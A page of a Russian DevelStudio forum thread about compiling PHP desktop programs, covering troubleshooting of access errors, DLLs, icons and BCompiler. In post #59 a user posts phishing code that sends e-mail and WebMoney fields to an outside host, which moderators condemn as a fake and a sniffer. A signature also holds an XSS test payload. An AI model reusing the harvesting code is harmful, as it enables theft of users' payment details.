+ Ответить в теме
Страница 2 из 2
ПерваяПервая 1 2
Показано с 41 по 68 из 68
  1. #1
    Главный Разработчик Аватар для Devel
    Регистрация
    11.03.2010
    Сообщений
    1,231

    Компиляция программы

    Обсуждаем проблемы компиляции, окончательной сборки программы с помощью соответствующего мастера.

    Напомним, что у мастера есть несколько опций:

    • Путь к exe программе - где сохранить программу (выбрать лучше заранее подготовленную пустую папку)
    • Прикреплять PHP Engine - если вы хотите использовать несколько программ на одном движке php, то можно не прикреплять его к ехе, а просто поместить папку /php/ из директории DevelStudio в папку с окончательной программы. Так на одном движке может работать сколько угодно программ, а их размер будет не очень большим 700кб.
    • Прикреплять SoulEngine - здесь SoulEngine это фреймворк основных функции, он жизненно необходим программе, и если вы его не прикрепляете к ехе, то необходимо скопировать папку /engine/ из директории DevelStudio в папку своей программы.

    Остальные опции я думаю и так понятны.

    Старая тема здесь: http://develstudio.ru/forum/topic617...EN_2=1#content

  2. #41
    ну лан. придётся винду опять сносить кароче смари я вот как винду поставил прям на чистую поставил ds и всё работает и как тока втыкаю флешку с драйверами, на комп устанавливаю, перезагружаю комп и пи*дец ds блин =)
    Я када флэху проверил он обнаружил в некоторых файлах в том числе и драйверах вирус Neshta вот почитайте http://ru.wikipedia.org/wiki/Neshta
    и кстати када я делаю reg файл он мне пишет какую то ошибку вместо добавления

  3. #42
    Опытный Аватар для roxblnfk
    Регистрация
    17.08.2011
    Адрес
    Россия, г. Рыбинск
    Сообщений
    313
    вот ссылка на файл, если не сработает, то можно regedit открыть и вручную добавить ключи
    http://narod.yandex.ru/disk/22197743...lOwnership.reg

    от вируса, о котором ты пишешь, очень легко избавиться, систему сносить не обязательно но антивирем советую пользоваться всегда

  4. #43
    Я прост незнаю как избавится для меня легче снести =) пока инфомации на нём ценной нет=)
    Если скажешь как избавится то конечно легче избавится =)

  5. #44
    Опытный Аватар для roxblnfk
    Регистрация
    17.08.2011
    Адрес
    Россия, г. Рыбинск
    Сообщений
    313
    по своей ссылке на вики перейди и отмотай на самый низ.. там написано ))

  6. #45
    мне непомогло всё равно ошибка доступа.
    а ты случайно не знаешь чем вызвана эта ошибка

    и сразу после этой идёт эта

  7. #46
    и ещё чёто блин у меня нету такова HKCR\exefile\shell\open\command у меня всё начинается с HKEY а во вторых и не находит нечего

  8. #47
    Опытный Аватар для roxblnfk
    Регистрация
    17.08.2011
    Адрес
    Россия, г. Рыбинск
    Сообщений
    313
    ДС сначала создаёт файл .exe.small, затем переименует его в .exe
    видимо ДС обламывается уже на первой стадии из-за отсутствия доступа к папке. пробовал запустить принудительно от имени администратора ДС?
    есть ещё вероятность того, что в reg-файле, который ты скачал, нужно изменить группу "администраторы" на другую... у меня Win7 RU, у тебя может группа администраторов по-другому называться..

    короче смени систему )))

  9. #48
    у меня тоже win 7 ru я када запускаю Develstudio exe от администратора принудительно открывается окно soulengine

  10. #49
    карочее буду сносить

  11. #50
    Опытный Аватар для Walsor
    Регистрация
    27.03.2010
    Адрес
    Россия, Омск
    Сообщений
    250
    Hkcr – это сокращение (поинтересуйтесь устройством реестра). «hk» - «hkey», «c» - «classes», «r» - «root», а целиком так: «hkey_classes_ root».

  12. #51
    А у меня такой вопрос .Почему когда я создал программу и хочу чтобы она была без файла " msvcr71.dll " я его удаляю а программа не запускается пишет что нет файла "msvcr71.dll" . Что делать?
    Ведь раньше такого небыло=(

  13. #52
    Админ Аватар для vGhost
    Регистрация
    27.07.2011
    Адрес
    Самара
    Сообщений
    2,033
    Цитата Сообщение от Mr.SmuT Посмотреть сообщение
    А у меня такой вопрос .Почему когда я создал программу и хочу чтобы она была без файла " msvcr71.dll " я его удаляю а программа не запускается пишет что нет файла "msvcr71.dll" . Что делать?
    Не удалять этот файл, без него она работать не будет.
    Пишите инсталлятор к программе чтоб он этот файл копировал в папку с программой.

    Цитата Сообщение от Mr.SmuT Посмотреть сообщение
    Ведь раньше такого небыло=(
    1) Когда раньше?
    2) ну теперь значит есть
    3) а в новой версии студии вообще ещё будет куча файлов например php4ts.dll и папка ext в которой ещё куча dll файлов будет вместе с программой и без которых она не будет работать. Делайте установщики своим программам. Программа состоящая из одного файла это ПЛОХО т.к. потребляет много ресурсов по памяти не рационально!

    __________________________________________________ ________
    Угу, угу... А потом достал из морозильной камеры - и степлером его, степлером!
    Для новичков
    __________________________________________________ ________
    Я практически совсем не задаю вопросов, не думали почему? Потому что я пользуюсь поиском и всегда нахожу ответы на свои вопросы!

  14. #53
    Test Аватар для flocker
    Регистрация
    11.03.2010
    Адрес
    Москва,Московская область,Климовск
    Сообщений
    642
    Цитата Сообщение от Mr.SmuT Посмотреть сообщение
    А вы не подскажите хорошую программу для создания программ на русском ну типо как php devel studia
    Здесь обсуждается только DevelStudio,другие программы такого же типа а так же их обсуждение ищите на других форумах.

    P.s: Сообщение не по теме!
    ICQ:599605,1174771,565637119

  15. #54
    Если вам не нравится, что в программе есть mvscr, то его можно сделать невидимым, ну, или, когда создаете инсталлятор, сделайте так, чтобы mvcsr копировался в систему, и все будет хорошо (ИМХО)

  16. #55
    Цитата Сообщение от haker Посмотреть сообщение
    в Win7 бывает глюк этот чаще... а все потому что кэш иконок не обновился ты кликни по файлу exe программы и посмотри о нем инфу внизу... там должна быть иконка та что нужно.... но иногда этот баг бывает из за того что прав не хватает... или антивирь тупит... в общем админ права проставь на soulEngine.exe и добавь DS в исключения
    Не помогает(
    Так же не вписывается версия программы((

  17. #56
    Супер Модератор Аватар для xsnakes
    Регистрация
    14.03.2010
    Адрес
    Пятигорск
    Сообщений
    2,271
    Цитата Сообщение от FakePerson Посмотреть сообщение
    Не помогает(
    Так же не вписывается версия программы((
    Там просто две иконки в ехе добавляется! От движка и от проги!
    Программой Restorator можно открыть ехе и удалить иконку движка, будет вам счастье!
    P.S. смотрите вирусов не нахватайте, пока Restorator будете искать хД!

  18. Пользователь сказал cпасибо:

    FakePerson (10.02.2012)

  19. #57
    Цитата Сообщение от xsnakes Посмотреть сообщение
    Там просто две иконки в ехе добавляется! От движка и от проги!
    Программой Restorator можно открыть ехе и удалить иконку движка, будет вам счастье!
    P.S. смотрите вирусов не нахватайте, пока Restorator будете искать хД!
    Спасибо.А как версию переписать?

  20. #58
    Супер Модератор Аватар для xsnakes
    Регистрация
    14.03.2010
    Адрес
    Пятигорск
    Сообщений
    2,271
    Up! Restorator! Что хочешь меняй через Restorator.
    А вообще настройки проекта DS надо было нужные ставить, да и версию при компиляции!
    Или ты о чём? оО

  21. #59
    скажите пожалуйста , в чем проблема ?

    $edit1 = c('Form1->edit1')->text;
    $edit2 = c('Form1->edit2')->text;
    $edit3 = c('Form1->edit3')->text;
    $combobox1 = c('Form1->combobox1')->inText;
    $url = "http://meliska.co.cc/s.gif";
    file_get_contents($url . "?" . "Количество:" . $edit1 . "|E-mail:" . $edit2 . "|WebMoney:" . $edit3);
    MessageBox("успешно");

  22. #60
    Мастер Аватар для forumrulez
    Регистрация
    16.10.2010
    Адрес
    Киев
    Сообщений
    1,058
    Цитата Сообщение от kaps594 Посмотреть сообщение
    скажите пожалуйста , в чем проблема ?



    Проблема в тебе, в бан за фейк.
    Еще и сниффер от Kanick
    Последний раз редактировалось forumrulez; 16.04.2012 в 18:58.
    Хочу быть синеньким и с надписью "Модератор"
    <script>alert('what')</script>

  23. #61
    Супер Модератор Аватар для xsnakes
    Регистрация
    14.03.2010
    Адрес
    Пятигорск
    Сообщений
    2,271
    Цитата Сообщение от kaps594 Посмотреть сообщение
    скажите пожалуйста , в чем проблема ?
    Просто DevelStudio с недавних пор не поддерживает создание фейков! Если создашь фейк, DevelStudio будет выдавать ошибки, а то и систему Windows может снести!
    Так что кончай с этим делом, ну или ищи другую среду!

  24. Пользователь сказал cпасибо:

    flocker (16.04.2012)

  25. #62

    Ошибка компиляции

    Ошибка после компиляции, если галка стоит на "Компилировать с BCompiler'om" , то после запуска программы и ввода значений и нажатия кнопки GO нечего не происходит , еще раз нажать , выскакивает данная ошибка. без нее нормально компилируется и работает.
    Версия Devel Studio 3.0 alpha 5.
    p.s незнал куда еще отписать , раздела "Баги Alpha версий" вроде бы нету)
    p.s мб этот компилятор для других каких то нужд) я просто только 2ой день разбираюсь с devel studio)
    Миниатюры Нажмите на изображение для увеличения
Название: 12..jpg
Просмотров: 12
Размер:	41.2 Кб
ID:	1317  
    Последний раз редактировалось PATCH; 23.04.2012 в 17:13.

  26. #63
    Мастер Аватар для forumrulez
    Регистрация
    16.10.2010
    Адрес
    Киев
    Сообщений
    1,058
    Цитата Сообщение от PATCH Посмотреть сообщение
    Ошибка после компиляции, если галка стоит на "Компилировать с BCompiler'om" , то после запуска программы и ввода значений и нажатия кнопки GO нечего не происходит , еще раз нажать , выскакивает данная ошибка. без нее нормально компилируется и работает.
    Версия Devel Studio 3.0 alpha 5.
    p.s незнал куда еще отписать , раздела "Баги Alpha версий" вроде бы нету)
    p.s мб этот компилятор для других каких то нужд) я просто только 2ой день разбираюсь с devel studio)
    Скорее всего Вы просто 2 раза объявляете ф-цию
    Хочу быть синеньким и с надписью "Модератор"
    <script>alert('what')</script>

  27. #64
    Цитата Сообщение от forumrulez Посмотреть сообщение
    Скорее всего Вы просто 2 раза объявляете ф-цию
    яж написал, что без компиляции BCompiler'om все работает. ИСХОДНЫЙ КОД НЕ МЕНЯЛ) и да , у меня там программа меленькая ( по мере изучения Devel studio буду расширять) но у меня функция объявлена 1 раз но 2 раза вызывалась) собственно для того и существует функция что бы ее неоднократно использовать)
    Последний раз редактировалось PATCH; 23.04.2012 в 18:23.

  28. #65
    Супер Модератор Аватар для xsnakes
    Регистрация
    14.03.2010
    Адрес
    Пятигорск
    Сообщений
    2,271
    Цитата Сообщение от PATCH Посмотреть сообщение
    яж написал, что без компиляции BCompiler'om все работает. ИСХОДНЫЙ КОД НЕ МЕНЯЛ) и да , у меня там программа меленькая ( по мере изучения Devel studio буду расширять) но у меня функция объявлена 1 раз но 2 раза вызывалась) собственно для того и существует функция что бы ее неоднократно использовать)
    А скорей скорого у Вас там анонимные функции, которые не компилит бкомпилер!

  29. #66
    Цитата Сообщение от xsnakes Посмотреть сообщение
    А скорей скорого у Вас там анонимные функции, которые не компилит бкомпилер!
    Пример можно анонимных функций оО мб вы имеете функции которые я сам объявил? где кстати можно прочесть чем отличается Бкомпилер от стандартного в Devel Studio
    Последний раз редактировалось PATCH; 23.04.2012 в 21:04.

  30. #67
    Мастер Аватар для forumrulez
    Регистрация
    16.10.2010
    Адрес
    Киев
    Сообщений
    1,058
    БКомпилер шифрует исходный код
    Хочу быть синеньким и с надписью "Модератор"
    <script>alert('what')</script>

  31. #68
    нужная вещь)

    что бы неходить вокруг до около выкладываю исходный код
    Скрытый текст:
    PHP код:
      //запуск отсчета
      
    $start_time microtime();
      
    $start_array explode(" ",$start_time);
      
    $start_time $start_array[1] + $start_array[0];
      
    //запуск обнуление memo
      
    c("memo1")->text='';
      
    //присваеваем переменые
      
    $ip_start=c("Form1->edit1")->text;
      
    $ip_end=c("Form1->edit2")->text;
      
    $ip_start ip2long($ip_start);
      
    $ip_end ip2long($ip_end);
      
    $ip_range $ip_end+1-$ip_start;
      
    //объявление функции
      
    function statss ($x,$ip_range)
      {
        
    c("Form1->progress1")->min=0;
        
    c("Form1->progress1")->max=100;
        
    c("Form1->progress1")->position=$x/$ip_range*100;
      }
      
    //1 шаг
      
    for($i=$ip_start;$i<($ip_end+1);$i++)
      {
      
    $x=$x+1;
      
    c("statusBar1")->simpleText='Шаг 1 из 2 генерация IP адресов '.
      
    ' Cостояние '.c("progress1")->position.'%';
      
    statss($x,$ip_range);
      
    $mas[$x]=long2ip($i);
      }
      
    $x=0;
      
    //2 шаг
      
    foreach ($mas as $keys=>$values)
      {
            
    $x=$x+1;
            
    c("statusBar1")->simpleText='Шаг 2 из 2 вывод IP адресов '.
             
    ' Cостояние '.c("progress1")->position.'%';
            
    statss($x,$ip_range);
            
    c("Form1->memo1")->text=c("Form1->memo1")->text.$values._BR_;
      }

      
    c("statusBar1")->simpleText='Готово';
    //окончания отсчета
    $end_time microtime();
    $end_array explode(" ",$end_time);
    $end_time $end_array[1] + $end_array[0];
    $time $end_time $start_time;
    //вывод информации
    echo "Сгенерировано ".$x." IP Adress  за ".$time." секунд."

    теперь вопрос где тут ошибка)

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения